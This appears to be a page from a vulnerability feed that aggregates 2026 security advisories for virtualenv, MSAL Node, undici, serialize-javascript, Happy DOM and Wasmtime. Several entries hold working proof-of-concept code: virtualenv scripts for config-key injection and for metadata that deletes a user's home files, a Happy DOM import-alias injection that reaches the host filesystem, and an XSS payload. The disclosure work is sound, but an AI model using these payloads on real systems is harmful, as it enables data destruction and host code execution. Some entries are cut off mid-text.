for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignore_errors=True) # the attacker's input: the text of a destination path. # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. # The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env" base_python = os.path.realpath(shutil.which("python")) real_home = os.path.dirname(base_python) def pyvenv_cfg_lines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n") def sys_home(env): # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"] return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip() # control: the same path through the standard library alone stdlib_env = dest + "-stdlib" subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True) # attack: the same path through virtualenv; --creator venv is the one non-default option virtualenv_env = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit # check stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env) virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env) print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlib_cfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys._home = {stdlib_home}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenv_cfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}") keys_injected = "home = /attacke Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Seed replacement does not contain metadata deletion paths https://kevwire.com/record/CVE-2026-113719 virtualenv: Seed replacement does not contain metadata deletion paths (Oct 23, 2026). The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026. CVSS 4.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-hhxq-47xx-j5xx). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx: https://github.com/advisories/GHSA-hhxq-47xx-j5xx GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25 ## Summary The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Removal of a previously installed seed package. ## Attacker-controlled input An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path. ## Affected code The relevant 21.14.8 source is in [seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info` directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to `site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; `--clear` removes that tree first. ## Reproduction and evidence The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt` contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held `Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths. A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear. The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. [PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root and refuses to delete the root itself. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: top_level.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignore_errors=True) USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt") def make_home(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n") (home / "notes.txt").write_text("my notes\n") return home def unpack_attacker_project(home, top_level_line, record_line): subprocess.run( [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line], check=True, ) def user_runs_virtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="") def files_left(home): return [f for f in USER_FILES if (home / f).exists()] # control: the project ships well-formed pip metadata control_home = make_home("control") unpack_attacker_project(control_home, "pip", "pip/__init__.py,,") user_runs_virtualenv(control_home) control_left = files_left(control_home) print(f"CONTROL user files still in ~ after virtualenv: {control_left}") # attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attack_home = make_home("attack") unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}") user_runs_virtualenv(attack_home) attack_left = files_left(attack_home) print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}") # check: creating an environment must never delete the user's files outside it print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK") ``` **`repro.d/make_project_tree.py`** ```text #!/usr/bin/env python3 import sys from pathlib import Path project = Path(sys.argv[1]) top_level_line = sys.argv[2] record_line = sys.argv[3] project.mkdir(parents=True) (project / "README").write_text("Set up with: virtualenv .venv\n") # a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" dist_info.mkdir(parents=True) ( Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### MSAL Node authorization code flow may disclose parameters to an attacker-controlled endpoint https://kevwire.com/record/CVE-2026-109461 MSAL Node authorization code flow may disclose parameters to an attacker-controlled endpoint (Oct 23, 2026). Origin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow. Version 7.1.0 and higher are patched. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xcx6-jx8p-x3h5). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-xcx6-jx8p-x3h5: https://github.com/advisories/GHSA-xcx6-jx8p-x3h5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25 ### Impact Origin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow. ### Patches Version 7.1.0 and higher are patched. ### Workarounds Ensure you pass in only the auth_code to to acquireTokenByCode Affected package ranges reported by GitHub: @azure/msal-node: >= 5.0.0-beta.0, < 7.1.0 Action: GitHub lists first patched versions: @azure/msal-node: 7.1.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### undici vulnerable to Denial of Service via unhandled error on excessive content-encodings https://kevwire.com/record/CVE-2026-109869 undici vulnerable to Denial of Service via unhandled error on excessive content-encodings (Oct 23, 2026). undici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected. Upgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xjj6-f33q-929c). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-xjj6-f33q-929c: https://github.com/advisories/GHSA-xjj6-f33q-929c GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-109869: https://nvd.nist.gov/vuln/detail/CVE-2026-109869 Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25 ### Impact undici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected. ### Patches Upgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream. ### Workarounds None. Affected package ranges reported by GitHub: undici: >= 6.23.0, < 6.29.1 undici: >= 7.18.0, < 7.30.1 undici: >= 8.0.0, < 8.12.2 Action: GitHub lists first patched versions: undici: 6.29.1; undici: 7.30.1; undici: 8.12.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### undici vulnerable to Denial of Service via unbounded memory in the EventSource parser https://kevwire.com/record/CVE-2026-109924 undici vulnerable to Denial of Service via unbounded memory in the EventSource parser (Oct 15, 2026). undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround. CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4qv8-2p9j-2685). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25). Sources: NVD CVE-2026-109924: https://nvd.nist.gov/vuln/detail/CVE-2026-109924 Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500 GitHub-reviewed advisory GHSA-4qv8-2p9j-2685: https://github.com/advisories/GHSA-4qv8-2p9j-2685 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25 undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### undici vulnerable to Subresource Integrity bypass via non-lowercase algorithm tokens https://kevwire.com/record/CVE-2026-109841 undici vulnerable to Subresource Integrity bypass via non-lowercase algorithm tokens (Oct 15, 2026). undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata. CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f72v-6w45-q472). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25). Sources: NVD CVE-2026-109841: https://nvd.nist.gov/vuln/detail/CVE-2026-109841 Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500 GitHub-reviewed advisory GHSA-f72v-6w45-q472: https://github.com/advisories/GHSA-f72v-6w45-q472 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25 undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Serialize JavaScript: Cross-site scripting (XSS) via unescaped 'function f(){ return 1 }// 'function g(x){ return x } > '; serialize({ a: { f }, g }, { space: 2 }); // { // "a": { // "f": function f(){ return 1 }// // } ``` CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-m5mm-p8h7-m29v). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-m5mm-p8h7-m29v: https://github.com/advisories/GHSA-m5mm-p8h7-m29v GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25 ### Impact `serialize-javascript` escapes its output so it is safe to embed inside a ` ` element. Before 7.1.3 that guarantee did not hold for a **function value whose source ends in a bare ` `). A body ending exactly at ` ` followed by markup: ```js const serialize = require('serialize-javascript'); function f() {} f.toString = () => 'function f(){ return 1 }// 'function g(x){ return x } > '; serialize({ a: { f }, g }, { space: 2 }); // { // "a": { // "f": function f(){ return 1 }// // } ``` Embedded in a ` ` element, the script ends at the injected tag and the ` ` becomes a live element in the page. Exploitation requires an attacker to control the **source text** of a serialized function, in practice through a spoofed `toString()`. Real functions always end in `}`, so ordinary function values are not affected, and non-function values (including strings containing `= 3.12.0rc0, < 3.17.0 Action: GitHub lists first patched versions: mlflow: 3.17.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution https://kevwire.com/record/CVE-2026-115895 Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (Oct 23, 2026). The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115895). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-834v-8h66-3h79: https://github.com/advisories/GHSA-834v-8h66-3h79 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115895: https://nvd.nist.gov/vuln/detail/CVE-2026-115895 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25 ## Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and ` ` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ## Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ## Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ### 2. Create `dep.json` ```json {} ``` ### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ## Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ## Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix Affected package ranges reported by GitHub: happy-dom: >= 17.0.0, <= 21.0.3 Action: GitHub lists first patched versions: happy-dom: 21.0.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type https://kevwire.com/record/CVE-2026-115892 Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type (Oct 23, 2026). Wasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type. GHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory. CVSS 5.7 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9pvw-hwfg-92h5). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-9pvw-hwfg-92h5: https://github.com/advisories/GHSA-9pvw-hwfg-92h5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25 ### Summary Wasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type. GHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory. ### Impact This affects embedders that do all of the following: 1. Create streams or futures on the host with `StreamReader::new` or `FutureReader::new` 2. Pass them to guest code and receive them back as `StreamAny`, `FutureAny`, `Val::Stream`/`Val::Future`, or a typed reader whose payload is one of these. 3. Pass them on to a guest function whose `stream` or `future` payload type differs from the type the host created them with. A guest can cause the mismatch in step 3 when it controls the types of the functions it exports or of the values it returns. In that case a malicious guest can make the host panic, a denial of service. Embedders that only use statically typed `StreamReader `/`FutureReader ` with concrete payload types throughout, or that never pass streams or futures they created through a guest and back, are not affected. Affected package ranges reported by GitHub: wasmtime: >= 46.0.0, < 48.0.7 wasmtime: >= 49.0.0, < 49.0.4 Action: GitHub lists first patched versions: wasmtime: 48.0.7; wasmtime: 49.0.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation https://kevwire.com/record/CVE-2026-115889 Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation (Oct 23, 2026). In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox. Cranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug. CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115889). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-897f-g5gm-fmxm: https://github.com/advisories/GHSA-897f-g5gm-fmxm GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115889: https://nvd.nist.gov/vuln/detail/CVE-2026-115889 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25 ## Summary In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox. Cranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug. ## Impact A Wasmtime engine with default settings (using the Cranelift backend) on any architecture/platform could experience a sandbox escape from a specially-crafted 